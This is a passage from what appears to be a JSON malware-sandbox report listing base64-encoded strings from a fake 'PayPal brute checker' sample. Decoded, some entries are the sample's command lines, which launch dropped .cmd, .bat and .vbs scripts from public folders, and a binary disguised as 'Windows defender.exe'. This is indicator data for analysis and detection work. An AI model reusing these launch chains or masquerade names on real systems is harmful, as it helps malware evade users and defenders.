brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ISIjJCUlJSUlJSYmJygpKislJSUlJSUmJicoKSorLCwsLCwsLS0uLzAxMlJSUlJSUlJSUlJSUjMzNDU1NjY3ODk6Ojo6Ozw9PD0+Pz5AQUJDPkBBQkNSUlJSUkRFRkdISUpLTE1OTw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F821000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IiVQVUJMSUMlXERvd25sb2FkXEg1S2tJT1h5ekwySjlCT2xXMUJHd0Z6aDkzZVFwaC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVzIiAoJWQpIDogPT0+ICVzOiVzJXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IkM6L1VzZXJzL1B1YmxpYy9Eb3dubG9hZC85MGNjNmU0NDdkMzQ1YmIxZjEwMzc1MWFiMDM4YmJjZTE5MTkwZGI2LmV4ZSI=","type":"Ansi","source":"Dropped File","process":null,"filename":"jxzvmjhZXoFhKaVkRQp3.cmd","compromised":null,"detection_total":null,"total":null},{"value":"IkM6XE1lZGlhXFN5c3RlbS52YmUi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IkM6XFBheVBhbEJydXRlX0NoZWNrZXIuZXhlIg==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IldpbmFwaS5XaW5Tb2Nr","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDAwMDAwMTBjLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDA0NUZBNTkzLTg3OTktNDJiOC1CQzhELTg5NjhDNjQ1MzUwNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDA1NzkxNTRBLTJCNTMtNDk5NC1CMEQwLUU3NzMxNDhFRkY4NQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDBCRDdBMUJFLTdBMUEtNDREQi04Mzk3LUNDNTM5MjM4N0I1RQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDFCRTA5Nzg4LTY4OTQtNDA4OS04NTg2LTlBMkE2QzI2NUFDNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDFDQjlBRDRDLURCRkEtNGMzMi1CMTc4LUMyRjU2OEE3MDNCMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDFmM2VmZWZiLWViZDUtNDQ0Ny04NGY1LTc3NzZkNzA4MzZiZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"JDI0OTE4QUNDLTY0QjMtMzdDMS04Q0E5LTc0QTY2RTk5NTdBOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDI3OUFGQTgzLTQ5ODEtMTFDRS1BNTIxLTAwMjBBRjBCRTU2MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDI3OUFGQTg1LTQ5ODEtMTFDRS1BNTIxLTAwMjBBRjBCRTU2MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDI5ODQwODIyLTVCODQtMTFEMC1CRDNCLTAwQTBDOTExQ0U4Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDJjM2NkOThhLTJiZmEtNGE1My05YzI3LTUyNDliYTY0YmEwZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDJDRDJEOTIxLUM0NDctNDRBNy1BMTNDLTRBREFCRkMyNDdFMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDMxMzdmMWNkLWZlNWUtNDgwNS1hNWQ4LWZiNDc3NDQ4Y2IzZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDM2QjczODgyLUMyQzgtMTFDRi04QjQ2LTAwODA1RjZDRUY2MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDQzOWEzMmNiLWM2ZTAtNGE1MS04OWY0LTRiMjdiMTFiYmNhNA==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDQ0QUUwRkE4LUVBMzEtNDEwOS04RDJFLTRDQUU0OTk3QzU1NQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDQ2ODU4YzNhLTBkYzYtNDVlMy1iNzYwLWQ0ZWVmMTZjYjMyNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDQ4ZTJlZDBmLTk4YzItNGEzNy1iZWQ1LTE2NjMxMmRkZDgzZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDRiMTY2YTZhLTBkNjYtNDNmMy04MGUzLWVlNjI4MGRlZTFhNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDRiYmQxMTU0LTYyZjYtNGUyYy1hMTVjLWQzYjZjNDE3ZjdhMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU1MjcyQTAwLTQyQ0ItMTFDRS04MTM1LTAwQUEwMDRCQjg1MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODkxLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODkyLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODkzLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODk1LTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2YTg2ODk3LTBhZDQtMTFjZS1iMDNhLTAwMjBhZjBiYTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2YTg2ODk5LTBhZDQtMTFjZS1iMDNhLTAwMjBhZjBiYTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODlGLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEE2LTBBZDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEE5LTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEIxLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEI0LTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2YTg2OGMwLTBhZDQtMTFjZS1iMDNhLTAwMjBhZjBiYTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU5ZWZmOGI5LTkzOGMtNGEyNi04MmYyLTk1Y2I4NGNkYzgzNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDVCQzhBNzZCLTg2OUEtNDZBMy05QjAzLUZBMjE4QTY2QUVCRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDVDREYyQzgyLTg0MUUtNDU0Ni05NzIyLTBDRjc0MDc4MjI5QQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDVmMTk3NDM0LTViMTMtNDQ5OS04NjFiLTk3Yjk4OTk1YmRmOQ==","type":"Ansi","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A12000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDY0MUREMjBCLTRENDEtNDlDQy1BQkEzLTE3NEI5NDc3QkIwOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDY1MUI5QUQwLTBGQzctNEFBOS05NTM4LUQ4OTkzMTAxMDc0MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDY1NzgwNEZBLUQ2QUQtNDQ5Ni04QTYwLTM1Mjc1MkFGNEY4OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDY5MGY0MjE5LWUzN2YtNDk1NC05ODZmLTVlYTQzNTA2NTFmZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZBMkUwNjcwLTI4RTQtMTFEMC1BMThjLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZCNjUyRkZGLTExRkUtNEZDRS05MkFELTAyNjZCNUQ3Qzc4Rg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZkNmNiYjYwLWEyMjMtNDRhYS04NDJmLWEyZjA2NzUwYmU2ZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZmNDlmZjczLTY3MjctNDlBQy1BMDA4LUQ5OENGNUU3MDA0OA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDcwYWU2NmYyLWM4MDktNGU0Zi04OTE1LWJkY2I0MDZiNzk5Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDc3QUE5OUEwLTFCRDYtNDg0Ri04QkM3LTJDNjU0QzlBOUI2Rg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDc5OTFFRUM5LTdFODktNEQ4NS04MzkwLTZDNzAzQ0VDNjBDMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDdlM2Y5MDM3LTdmYTAtNDc0YS05ZjkwLWVkZmRmY2NlZjMzYQ==","type":"Ansi","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDdGRUU5RTlBLTRBODktNDdhNi04OTlDLUI2QTUzQTcwRkI2Nw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDg3Q0U1NDk4LTY4RDYtNDRFNS05MjE1LTZEQTQ3RUY4ODNEOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDg4MDg0MmUzLTE0NWYtNDNlNi1hOTM0LWE3MTgwNmU1MDU0Nw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDg4NmQ4ZWViLThjZjItNDQ0Ni04ZDAyLWNkYmExZGJkY2Y5OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDhiZDI4ZWRmLTUwZGItNGU5Mi1hMmJkLTQ0NTQ4OGQxZWQ0Mg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDhlY2Y0MzI2LTQ1NWYtNGQ4Yi1iZGE5LThkNWQzZTllM2UwYg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDkwM2U5ODc4LTJjOTItNDA3Mi05YjJjLWVhNjhmNTM5Njc4Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDkzMDE0ODg3LTI0MkQtNDA2OC04QTE1LUNGNUU5M0I5MEZFMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDkzRTVBNEUwLTJENTAtMTFkMi1BQkZBLTAwQTBDOUM2RTM4RA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDljZmE3ZjNkLTVjZGYtNDRhMi04NzgxLTVkYjMzYWMwNzY0Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"regedit.exe.3528140644","compromised":null,"detection_total":null,"total":null},{"value":"JEE5NTY2NEQyLTk2MTQtNEYzNS1BNzQ2LURFOERCNjM2MTdFNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGFkNGMxYjAwLTRiZjctNDIyZi05MTc1LTc1NjY5M2Q5MTMwZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGIwMjEwNzgzLTg5Y2QtMTFkMC1hZjA4LTAwYTBjOTI1Y2QxNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEIxOTZCMjhCLUJBQjQtMTAxQS1CNjlDLTAwQUEwMDM0MUQwNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGJiZWVhODQxLTBhNjMtNGY1Mi1hN2FiLWE5YjNhODRlZDM4YQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEJDREUwMzk1LUU1MkYtNDY3Qy04RTNELUM0NTc5MjkxNjkyRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGJmOTRjMTIxLTViMDUtNGU2Zi04MDAwLWJhNTk4OTYxNDE0ZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEJGQTk3MUYxLTRENUUtNDBCQi05MzVFLTk2NzAzOUJGQkVFNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGJmYjdmZjg4LTcyMzktNGZjOS04ZmEyLTA3Yzk1MGJlOWM2ZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEMwMjIxNkY2LThDNjctNEI1Qi05RDAwLUQwMDhFNzNFMDA2NA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGMwM2NhOWZlLWZlOTAtNDIwNC04MDc4LTgyMzM0Y2QxNzdkYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGM0MGEwMGYyLWI5M2EtNGQ4MC1hZThjLTVhMWM2MzRmNThlNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM2RTEzMzQwLTMwQUMtMTFkMC1BMThDLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM2RTEzMzcwLTMwQUMtMTFkMC1BMThDLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM2RTEzMzgwLTMwQUMtMTFEMC1BMThDLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM4QURCRDY0LUU3MUUtNDhhMC1BNERFLTE4NUMzOTVDRDMxNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JENENjMzMTRGLTNGQkEtNGExYi04MTJDLUVGOTYzNTg3MjhFNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGQ2MTZmMzUyLWQ2MjItMTFjZS1hYWM1LTAwMjBhZjBiOTlhMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEQ2NjYwNjNGLTE1ODctNEU0My04MUYxLUI5NDhFODA3MzYzRg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGQ4YWQwZjU4LTU0OTQtNDEwMi05N2M1LWVjNzk4ZTU5YmNmNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JERGNTk4OTMyLUYxMEMtNEUzOS1CQkEyLUMzMDhGMTAxREFBMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEUyRjVCQjExLTA1NzAtNDBDQS1BQ0RELTNBQTAxMjc3REVFOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEU3RTk5ODRGLUYwOUYtNGRhNC05MDNGLTZFMkUwRUZFNTZCNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEU3RkUyRTEyLTY2MUMtNDBEQS05MkY5LTRGMDAyQUI2NzYyNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEYyOTRBQ0ZDLTMxNDYtNDQ4My1BN0JGLUFERENBN0MyNjBFMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGY0NDdiNjllLTE4ODQtNGE3ZS04MDU1LTM0NmY3NGQ2ZWRiMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEY0QjFBNTk5LTcyNjYtNDMxOS1BOENBLUU3MEFDQjExRThDRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JTRkLSUwMmQtJTAyZC0lMDJkLSUwMmQtJTAyZC0lMDNk","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkAlc3lzdGVtcm9vdCVcc3lzdGVtMzJcbXNzdnAuZGxsLC0xMTAiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkAlc3lzdGVtcm9vdCVcc3lzdGVtMzJcbXNzdnAuZGxsLC0xMTIiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkAlUFJPR1JBTUZJTEVTJVwoeDg2KVxNaWNyb3NvZnQgT2ZmaWNlXE9mZmljZTE1XE1BUElTSEVMTC5ETEwsLTExMCIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNMU0lEX1N0YXJ0TWVudVBhdGhDb21wbGV0ZVByb3ZpZGVyRm9sZGVyIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbXB1dGVyIiU=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbXB1dGVycyBhbmQgRGV2aWNlcyIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbnRyb2wgUGFuZWwgY29tbWFuZCBvYmplY3QgZm9yIFN0YXJ0IG1lbnUgYW5kIGRlc2t0b3AiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6ImRlbGVnYXRlIGZvbGRlciB0aGF0IGFwcGVhcnMgaW4gQ29tcHV0ZXIiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6ImRlbGVnYXRlIGZvbGRlciB0aGF0IGFwcGVhcnMgaW4gQ29tcHV0ZXIiJSB7QUREOEJBODAtMDAyQi0xMUQwLThGMEYtMDBDMDRGRDdEMDYyfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkVuaGFuY2VkIFN0b3JhZ2UgSWNvbiBPdmVybGF5IEhhbmRsZXIgQ2xhc3MiJSB7MEM2QzQyMDAtQzU4OS0xMUQwLTk5OUEtMDBDMDRGRDY1NUUxfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlBvcnRhYmxlIERldmljZXMiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlBvcnRhYmxlIERldmljZXMiJSB7QUREOEJBODAtMDAyQi0xMUQwLThGMEYtMDBDMDRGRDdEMDYyfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlJlY3ljbGUgQmluIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlNoYXJpbmcgT3ZlcmxheSAoUHJpdmF0ZSkiJSB7MEM2QzQyMDAtQzU4OS0xMUQwLTk5OUEtMDBDMDRGRDY1NUUxfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IldpbmRvd3MgU2VhcmNoIFNlcnZpY2UgTWVkaWEgQ2VudGVyIE5hbWVzcGFjZSBFeHRlbnNpb24gSGFuZGxlciIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JVByb2dyYW1EYXRhJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXEFjY2Vzc29yaWVzXFdpbmRvd3MgUG93ZXJTaGVsbFxXaW5kb3dzIFBvd2VyU2hlbGwgKHg4NikubG5r","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVByb2dyYW1EYXRhJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXEFjY2Vzc29yaWVzXFdpbmRvd3MgUG93ZXJTaGVsbFxXaW5kb3dzIFBvd2VyU2hlbGwubG5r","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMgKCVkKSA6ID09PiAlcy46ICVzICVz","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMgKCVkKSA6ID09PiAlczogJXMgJXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMgaXMgbm90IGEgdmFsaWQgSVB2NiBhZGRyZXNz","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8i","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JVN5c3RlbURyaXZlJVxNZWRpYVxXaW5kb3dzIGRlZmVuZGVyLmV4ZQ==","type":"Unicode","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JXN5c3RlbXJvb3QlXGhoLmV4ZQ==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXN5c3RlbXJvb3QlXHN5c3RlbTMyXHdpbmRvd3Nwb3dlcnNoZWxsXHYxLjBccG93ZXJzaGVsbF9pc2UuZXhl","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVdJTkRJUiVcc3lzdGVtMzJcY21kLmV4ZSAvYyAiIiVQVUJMSUMlXERvd25sb2FkXGp4enZtamhaWG9GaEthVmtSUXAzLmNtZCIgIg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"JVdJTkRJUiVcc3lzdGVtMzJcY21kLmV4ZSAvYyAiIkM6XE1lZGlhXHpWenY1Q0NzWGEzM1dBMHhLZ0dkc0pSMU02TGVETi5iYXQiICI=","type":"Ansi","source":"Process 